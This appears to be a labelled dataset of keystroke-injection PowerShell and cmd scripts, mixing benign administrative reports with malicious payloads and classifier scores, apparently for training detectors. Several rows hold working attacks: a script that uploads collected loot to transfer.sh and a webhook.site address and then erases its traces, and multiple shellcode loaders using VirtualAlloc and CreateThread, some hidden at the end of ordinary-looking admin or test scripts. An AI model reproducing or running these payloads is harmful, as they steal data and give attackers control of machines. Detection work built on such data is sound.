$shellApplication = new-object -com shell.application enter enter $zipPackage = $shellApplication.NameSpace($zipFile) enter enter $files = Get-ChildItem -Path $srcdir enter enter foreach($file in $files) { enter enter $zipPackage.CopyHere($file.FullName) enter enter while($zipPackage.Items().Item($file.name) -eq $null){ enter enter Start-sleep -seconds 1 }}} enter enter copy-ToZip($fileSaveDir) enter ############################ Send enter enter $Url_Download = Invoke-WebRequest -UseBasicParsing -Uri ""https://transfer.sh/export.zip"" -Method Put -Headers @{""Max-Downloads"" = ""1""; ""Max-Days"" = ""1""} -InFile ""$HOME\TehYpfKxbn\export.zip"" | Select-Object -ExpandProperty Content enter enter Invoke-WebRequest -Method POST -UseBasicParsing -Uri ""https://webhook.site/70c4938e-9c1f-4dd7-a271-78c12f0f3a5e"" -Body $Url_Download -ContentType ""text/plain"" | Out-Null enter ################# EXITTING enter enter remove-item $fileSaveDir -recurse -Force enter enter remove-item $filelootDir -recurse -Force enter enter Remove-Item $MyINvocation.InvocationName -Force enter enter # Set-PSReadlineOption -HistorySaveStyle SaveIncrementally enter enter # Remove-Item (Get-PSReadlineOption).HistorySavePath enter enter",1,1,7.552029e-05,0.9999244
win+r enter powershell enter enter enter install-module -name PSWindowsUpdate -RequiredVersion 2.2.0.2 enter enter,1,1,0.0008781264,0.99912184
"delay_long enter win+r enter delay_short enter https://fakeupdate.net/win10ue/ enter enter enter delay_medium enter unknown_key_action F11 enter delay_medium enter win+r enter delay_short enter cmd enter enter enter delay_short enter mode con: cols=20 lines=1 enter enter enter delay_short enter color fe enter enter enter delay_medium enter del %tmp% enter ickyou.vbs enter enter enter delay_short enter del %tmp%\volup.vbs enter enter enter delay_short enter cd %tmp% && copy con rickyou.vbs enter enter enter While true enter enter enter Dim oPlayer enter enter enter Set oPlayer = CreateObject(""WMPlayer.OCX"") enter enter enter oPlayer.URL = ""http://tinyurl.com/s63ve48"" enter enter enter oPlayer.controls.play enter enter enter While oPlayer.playState <> 1 ' 1 = Stopped enter enter enter WScript.Sleep 100 enter enter enter Wend enter enter enter oPlayer.close enter enter enter Wend enter enter enter delay_short enter unknown_key_action CTRL z enter enter enter copy con volup.vbs enter enter enter do enter enter enter Set WshShell = CreateObject(""WScript.Shell"") enter enter enter WshShell.SendKeys(chr(&hAF)) enter enter enter loop enter enter enter unknown_key_action CTRL z enter enter enter start rickyou.vbs && volup.vbs enter enter enter exit enter enter",1,1,5.56479e-05,0.9999443
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_enbylfis"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4170265e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_qfnwzu0w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999666,3.3433727e-05
"win+r powershell enter  Import-Module ""$PSScriptRoot\PSGetTestUtils.psm1"" -WarningAction SilentlyCont enter inue $RepositoryName = 'PSGallery' $SourceLocation = 'https://www.poshtestgalle enter ry.com/api/v2' $SourceLocation2 = 'https://www.poshtestgallery.com/api/v2/' $Pub enter lishLocation = 'https://www.poshtestgallery.com/api/v2/package' $ScriptSourceLoc enter ation = 'https://www.poshtestgallery.com/api/v2/items/psscript' $ScriptPublishLo enter cation = 'https://www.poshtestgallery.com/api/v2/package' $TestRepositoryName = enter 'PSTestGallery' enter enter",0,1,0.00061300525,0.999387
"win+r enter powershell enter enter enter function Get-FileVolume{ enter param([string]$PathName) enter enter $check = $PathName.Substring(0,$PathName.LastIndexOf('\')+1) enter enter $volumes = (gwmi win32_volume| where {$_.drivetype -eq 3}|select name|out-string -stream).Trim() enter if($volumes -contains $check){ enter enter return gwmi win32_volume| where {$_.name -eq $check} enter } enter else{ enter return Get-FileVolume $check.Substring(0,$check.Length-1) enter enter } enter } enter enter Get-FileVolume 'U:\ag07\RaiseTicket\RaiseTicket.mdf' enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x08,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.156829e-05,0.9999484
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, ParameterSetName=""Multiple"", HelpMessage=""Site server where the SMS Provider is installed"")] enter [parameter(ParameterSetName=""Single"")] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [ValidateNotNullOrEmpty()] enter [string]$SiteServer, enter [parameter(Mandatory=$false, ParameterSetName=""Single"", HelpMessage=""Name of a Status Message Query"")] enter [ValidateNotNullOrEmpty()] enter [string]$Name, enter [parameter(Mandatory=$true, ParameterSetName=""Multiple"", HelpMessage=""Specify a valid path to where the XML file containing the Status Message Queries will be stored"")] enter [parameter(ParameterSetName=""Single"")] enter [ValidateNotNullOrEmpty()] enter [ValidatePattern(""^[A-Za-z]{1}:\\\w+\\\w+"")] enter [ValidateScript({ enter if ((Split-Path -Path $_ -Leaf).IndexOfAny([IO.Path]::GetInvalidFileNameChars()) -ge 0) { enter Throw ""$(Split-Path -Path $_ -Leaf) contains invalid characters"" enter } enter else { enter if ([System.IO.Path]::GetExtension((Split-Path -Path $_ -Leaf)) -like "".xml"") { enter return $true enter } enter else { enter Throw ""$(Split-Path -Path $_ -Leaf) contains unsupported file extension. Supported extensions are '.xml'"" enter } enter } enter })] enter [string]$Path, enter [parameter(Mandatory=$false, ParameterSetName=""Multiple"", HelpMessage=""Export all custom Status Message Queries"")] enter [switch]$Recurse, enter [parameter(Mandatory=$false, ParameterSetName=""Multiple"", HelpMessage=""Will overwrite any existing XML files specified in the Path parameter"")] enter [parameter(ParameterSetName=""Single"")] enter [switch]$Force enter ) enter Begin { enter enter try { enter Write-Verbose ""Determining SiteCode for Site Server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Debug ""SiteCode: $($SiteCode)"" enter } enter } enter } enter catch [Exception] { enter Throw ""Unable to determine SiteCode"" enter } enter enter if ([System.IO.File]::Exists($Path)) { enter if (-not($PSBoundParameters[""Force""])) { enter Throw ""Error creating '$($Path)', file already exists"" enter } enter } enter } enter Process { enter enter $XMLData = New-Object -TypeName System.Xml.XmlDocument enter $XMLRoot = $XMLData.CreateElement(""ConfigurationManager"") enter $XMLData.AppendChild($XMLRoot) | Out-Null enter $XMLRoot.SetAttribute(""Description"", ""Export of Status Message Queries"") enter enter try { enter if ($PSBoundParameters[""Recurse""]) { enter Write-Verbose -Message ""Query: SELECT * FROM SMS_Query WHERE (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter $StatusMessageQueries = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_Query -ComputerName $SiteServer -Filter ""(QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" -ErrorAction Stop enter $WmiFilter = ""(QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter } enter elseif ($PSBoundParameters[""Name""]) { enter if (($Name.StartsWith(""*"")) -and ($Name.EndsWith(""*""))) { enter Write-Verbose -Message ""Query: SELECT * FROM SMS_Query WHERE (Name like '%$($Name.Replace('*',''))%') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter $WmiFilter = ""(Name like '%$($Name)%') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter } enter elseif ($Name.StartsWith(""*"")) { enter Write-Verbose -Message ""Query: SELECT * FROM SMS_Query WHERE (Name like '%$($Name.Replace('*',''))') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter $WmiFilter = ""(Name like '%$($Name)') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter } enter elseif ($Name.EndsWith(""*"")) { enter Write-Verbose -Message ""Query: SELECT * FROM SMS_Query WHERE (Name like '$($Name.Replace('*',''))%') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter $WmiFilter = ""(Name like '$($Name)%') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter } enter else { enter Write-Verbose -Message ""Query: SELECT * FROM SMS_Query WHERE (Name like '$($Name)') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter $WmiFilter = ""(Name like '$($Name)') AND (QueryID not like 'SMS%') AND (TargetClassName like 'SMS_StatusMessage')"" enter } enter if ($Name -match ""\*"") { enter $Name = $Name.Replace(""*"","""") enter $WmiFilter = $WmiFilter.Replace(""*"","""") enter } enter } enter $StatusMessageQueries = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_Query -ComputerName $SiteServer -Filter $WmiFilter -ErrorAction Stop enter $QueryResultCount = ($StatusMessageQueries | Measure-Object).Count enter if ($QueryResultCount -gt 1) { enter Write-Verbose -Message ""Query returned $($QueryResultCount) results"" enter } enter else { enter Write-Verbose -Message ""Query returned $($QueryResultCount) result"" enter } enter if ($StatusMessageQueries -ne $null) { enter foreach ($StatusMessageQuery in $StatusMessageQueries) { enter $XMLQuery = $XMLData.CreateElement(""Query"") enter $XMLData.ConfigurationManager.AppendChild($XMLQuery) | Out-Null enter $XMLQueryName = $XMLData.CreateElement(""Name"") enter $XMLQueryName.InnerText = ($StatusMessageQuery | Select-Object -ExpandProperty Name) enter $XMLQueryExpression = $XMLData.CreateElement(""Expression"") enter $XMLQueryExpression.InnerText = ($StatusMessageQuery | Select-Object -ExpandProperty Expression) enter $XMLQueryLimitToCollectionID = $XMLData.CreateElement(""LimitToCollectionID"") enter $XMLQueryLimitToCollectionID.InnerText = ($StatusMessageQuery | Select-Object -ExpandProperty LimitToCollectionID) enter $XMLQueryTargetClassName = $XMLData.CreateElement(""TargetClassName"") enter $XMLQueryTargetClassName.InnerText = ($StatusMessageQuery | Select-Object -ExpandProperty TargetClassName) enter $XMLQuery.AppendChild($XMLQueryName) | Out-Null enter $XMLQuery.AppendChild($XMLQueryExpression) | Out-Null enter $XMLQuery.AppendChild($XMLQueryLimitToCollectionID) | Out-Null enter $XMLQuery.AppendChild($XMLQueryTargetClassName) | Out-Null enter Write-Verbose -Message ""Exported '$($XMLQueryName.InnerText)' to '$($Path)'"" enter } enter } enter else { enter Write-Verbose -Message ""Query did not return any objects"" enter } enter } enter catch [Exception] { enter Throw $_.Exception.Message enter } enter } enter End { enter enter $XMLData.Save($Path) | Out-Null enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xe8,0xd1,0xdc,0x30,0xdb,0xdb,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x47,0x31,0x53,0x13,0x83,0xeb,0xfc,0x03,0x53,0xe7,0x33,0x29,0xcc,0x1f,0x31,0xd2,0x2d,0xdf,0x56,0x5a,0xc8,0xee,0x56,0x38,0x98,0x40,0x67,0x4a,0xcc,0x6c,0x0c,0x1e,0xe5,0xe7,0x60,0xb7,0x0a,0x40,0xce,0xe1,0x25,0x51,0x63,0xd1,0x24,0xd1,0x7e,0x06,0x87,0xe8,0xb0,0x5b,0xc6,0x2d,0xac,0x96,0x9a,0xe6,0xba,0x05,0x0b,0x83,0xf7,0x95,0xa0,0xdf,0x16,0x9e,0x55,0x97,0x19,0x8f,0xcb,0xac,0x43,0x0f,0xed,0x61,0xf8,0x06,0xf5,0x66,0xc5,0xd1,0x8e,0x5c,0xb1,0xe3,0x46,0xad,0x3a,0x4f,0xa7,0x02,0xc9,0x91,0xef,0xa4,0x32,0xe4,0x19,0xd7,0xcf,0xff,0xdd,0xaa,0x0b,0x75,0xc6,0x0c,0xdf,0x2d,0x22,0xad,0x0c,0xab,0xa1,0xa1,0xf9,0xbf,0xee,0xa5,0xfc,0x6c,0x85,0xd1,0x75,0x93,0x4a,0x50,0xcd,0xb0,0x4e,0x39,0x95,0xd9,0xd7,0xe7,0x78,0xe5,0x08,0x48,0x24,0x43,0x42,0x64,0x31,0xfe,0x09,0xe0,0xf6,0x33,0xb2,0xf0,0x90,0x44,0xc1,0xc2,0x3f,0xff,0x4d,0x6e,0xb7,0xd9,0x8a,0x91,0xe2,0x9e,0x05,0x6c,0x0d,0xdf,0x0c,0xaa,0x59,0x8f,0x26,0x1b,0xe2,0x44,0xb7,0xa4,0x37,0xf0,0xb2,0x32,0x78,0xad,0xbc,0xcd,0x10,0xac,0xbe,0xc0,0xbc,0x39,0x58,0xb2,0x6c,0x6a,0xf5,0x72,0xdd,0xca,0xa5,0x1a,0x37,0xc5,0x9a,0x3a,0x38,0x0f,0xb3,0xd0,0xd7,0xe6,0xeb,0x4c,0x41,0xa3,0x60,0xed,0x8e,0x79,0x0d,0x2d,0x04,0x8e,0xf1,0xe3,0xed,0xfb,0xe1,0x93,0x1d,0xb6,0x58,0x35,0x21,0x6c,0xf6,0xb9,0xb7,0x8b,0x51,0xee,0x2f,0x96,0x84,0xd8,0xef,0x69,0xe3,0x53,0x39,0xfc,0x4c,0x0b,0x46,0x10,0x4d,0xcb,0x10,0x7a,0x4d,0xa3,0xc4,0xde,0x1e,0xd6,0x0a,0xcb,0x32,0x4b,0x9f,0xf4,0x62,0x38,0x08,0x9d,0x88,0x67,0x7e,0x02,0x72,0x42,0x7e,0x7e,0xa5,0xaa,0xf4,0x6e,0x75;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1712734e-05,0.99994826
"win+r powershell enter function Test-GetActionRulesFilteredByParameters { $severityFilter = ""Sev3"" $m enter onitorService = ""Platform"" $actionRules = Get-AzActionRule -Severity $severityF enter ilter -MonitorService $monitorService Assert-NotNull $actionRules.Count } fun enter ction Test-CreateUpdateAndDeleteSuppressionRule { try enter enter",1,1,0.0038135627,0.99618644
"win+r powershell enter $repoRoot = ""$PSScriptRoot/../.."" $binSkim = (Get-Item -Path ""$repoRoot/tools/Se enter curityTools/Microsoft.CodeAnalysis.BinSkim*/tools/*/win-x64/BinSkim.exe"" | Selec enter t-Object -First 1).FullName $dllBaseFolder = ""$repoRoot/artifacts/Debug"" $suppre enter ssions = @('Microsoft.Azure.DataLake.Store.dll','Microsoft.WindowsAzure.Storage. enter DataMovement.PowerShell.dll','Microsoft.Azure.Storage.DataMovement.dll') $result enter sPath = ""$repoRoot/artifacts/BinSkim-Results.sarif"" $renamedDlls = Get-ChildIte enter m -Path $dllBaseFolder -Include $suppressions -Recurse | ForEach-Object { Rename enter -Item -Path $_.FullName -NewName ""$($_.BaseName).temp"" -PassThru } & ""$binSkim"" enter analyze ""$dllBaseFolder/*.dll"" -r -o $resultsPath --rich-return-code $renamedDll enter s | ForEach-Object { Rename-Item -Path $_.FullName -NewName ""$($_.BaseName).dll"" enter } $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAl enter loc(IntPtr lpAddress enter enter",1,1,0.00018433458,0.99981564
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xd3,0xfe,0x81,0xdf,0xd9,0xd0,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0x31,0x6a,0x13,0x83,0xea,0xfc,0x03,0x6a,0xdc,0x1c,0x74,0x23,0x0a,0x62,0x77,0xdc,0xca,0x03,0xf1,0x39,0xfb,0x03,0x65,0x49,0xab,0xb3,0xed,0x1f,0x47,0x3f,0xa3,0x8b,0xdc,0x4d,0x6c,0xbb,0x55,0xfb,0x4a,0xf2,0x66,0x50,0xae,0x95,0xe4,0xab,0xe3,0x75,0xd5,0x63,0xf6,0x74,0x12,0x99,0xfb,0x25,0xcb,0xd5,0xae,0xd9,0x78,0xa3,0x72,0x51,0x32,0x25,0xf3,0x86,0x82,0x44,0xd2,0x18,0x99,0x1e,0xf4,0x9b,0x4e,0x2b,0xbd,0x83,0x93,0x16,0x77,0x3f,0x67,0xec,0x86,0xe9,0xb6,0x0d,0x24,0xd4,0x77,0xfc,0x34,0x10,0xbf,0x1f,0x43,0x68,0xbc,0xa2,0x54,0xaf,0xbf,0x78,0xd0,0x34,0x67,0x0a,0x42,0x91,0x96,0xdf,0x15,0x52,0x94,0x94,0x52,0x3c,0xb8,0x2b,0xb6,0x36,0xc4,0xa0,0x39,0x99,0x4d,0xf2,0x1d,0x3d,0x16,0xa0,0x3c,0x64,0xf2,0x07,0x40,0x76,0x5d,0xf7,0xe4,0xfc,0x73,0xec,0x94,0x5e,0x1b,0xc1,0x94,0x60,0xdb,0x4d,0xae,0x13,0xe9,0xd2,0x04,0xbc,0x41,0x9a,0x82,0x3b,0xa6,0xb1,0x73,0xd3,0x59,0x3a,0x84,0xfd,0x9d,0x6e,0xd4,0x95,0x34,0x0f,0xbf,0x65,0xb9,0xda,0x2a,0x63,0x2d,0x25,0x02,0x6a,0xeb,0xcd,0x51,0x6d,0xe9,0x07,0xdf,0x8b,0x5d,0x48,0x8f,0x03,0x1d,0x38,0x6f,0xf4,0xf5,0x52,0x60,0x2b,0xe5,0x5c,0xaa,0x44,0x8f,0xb2,0x03,0x3c,0x27,0x2a,0x0e,0xb6,0xd6,0xb3,0x84,0xb2,0xd8,0x38,0x2b,0x42,0x96,0xc8,0x46,0x50,0x4e,0x39,0x1d,0x0a,0xd8,0x46,0x8b,0x21,0xe4,0xd2,0x30,0xe0,0xb3,0x4a,0x3b,0xd5,0xf3,0xd4,0xc4,0x30,0x88,0xdd,0x50,0xfb,0xe6,0x21,0xb5,0xfb,0xf6,0x77,0xdf,0xfb,0x9e,0x2f,0xbb,0xaf,0xbb,0x2f,0x16,0xdc,0x10,0xba,0x99,0xb5,0xc5,0x6d,0xf2,0x3b,0x30,0x59,0x5d,0xc3,0x17,0x5b,0xa1,0x12,0x51,0x29,0xcb,0xa6;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.219868e-05,0.9999478
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_96s40xdj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3866585e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_zazqt5i3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4549706e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_5he1pwum"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.432111e-05
"win+r enter powershell enter enter enter  enter function Test-Media enter { enter $rgname = GetResourceGroupName enter $preferedlocation = ""East US"" enter $location = Get-AvailableLocation $preferedlocation enter Write-Output $location enter enter $resourceGroup = CreateResourceGroup $rgname $location enter enter $storageAccountName1 = ""sto"" + $rgname enter $storageAccount1 = CreateStorageAccount $rgname $storageAccountName1 $location enter enter $storageAccountName2 = ""sto"" + $rgname + ""2"" enter $storageAccount2 = CreateStorageAccount $rgname $storageAccountName2 $location enter $accountName = ""med"" + $rgname enter $availability = Get-AzMediaServiceNameAvailability -AccountName $accountName enter Assert-AreEqual $true $availability.nameAvailable enter $accountName = ""med"" + $rgname enter $tags = @{""tag1"" = ""value1""; ""tag2"" = ""value2""} enter $storageAccount1 = GetStorageAccount -ResourceGroupName $rgname -Name $storageAccountName1 enter $mediaService = New-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Location $location -StorageAccountId $storageAccount1.Id -Tag $tags enter Assert-NotNull $mediaService enter Assert-AreEqual $accountName $mediaService.AccountName enter Assert-AreEqual $rgname $mediaService.ResourceGroupName enter Assert-AreEqual $location $mediaService.Location enter Assert-Tags $tags $mediaService.Tags enter Assert-AreEqual $storageAccountName1 $mediaService.StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $rgname $mediaService.StorageAccounts[0].ResourceGroupName enter enter $availability = Get-AzMediaServiceNameAvailability -AccountName $accountName enter Assert-AreEqual $false $availability.nameAvailable enter $mediaServices = Get-AzMediaService -ResourceGroupName $rgname enter Assert-NotNull $mediaServices enter Assert-AreEqual 1 $mediaServices.Count enter Assert-AreEqual $accountName $mediaServices[0].AccountName enter Assert-AreEqual $rgname $mediaServices[0].ResourceGroupName enter Assert-AreEqual $location $mediaServices[0].Location enter Assert-AreEqual $storageAccountName1 $mediaServices[0].StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $rgname $mediaServices[0].StorageAccounts[0].ResourceGroupName enter $mediaService = Get-AzMediaService -ResourceGroupName $rgname -AccountName $accountName enter Assert-NotNull $mediaService enter Assert-AreEqual $accountName $mediaService.AccountName enter Assert-AreEqual $rgname $mediaService.ResourceGroupName enter Assert-AreEqual $location $mediaService.Location enter Assert-AreEqual $storageAccountName1 $mediaService.StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $rgname $mediaService.StorageAccounts[0].ResourceGroupName enter $tagsUpdated = @{""tag3"" = ""value3""; ""tag4"" = ""value4""} enter $storageAccount2 = GetStorageAccount -ResourceGroupName $rgname -Name $storageAccountName2 enter $primaryStorageAccount = New-AzMediaServiceStorageConfig -storageAccountId $storageAccount1.Id -IsPrimary enter $secondaryStorageAccount = New-AzMediaServiceStorageConfig -storageAccountId 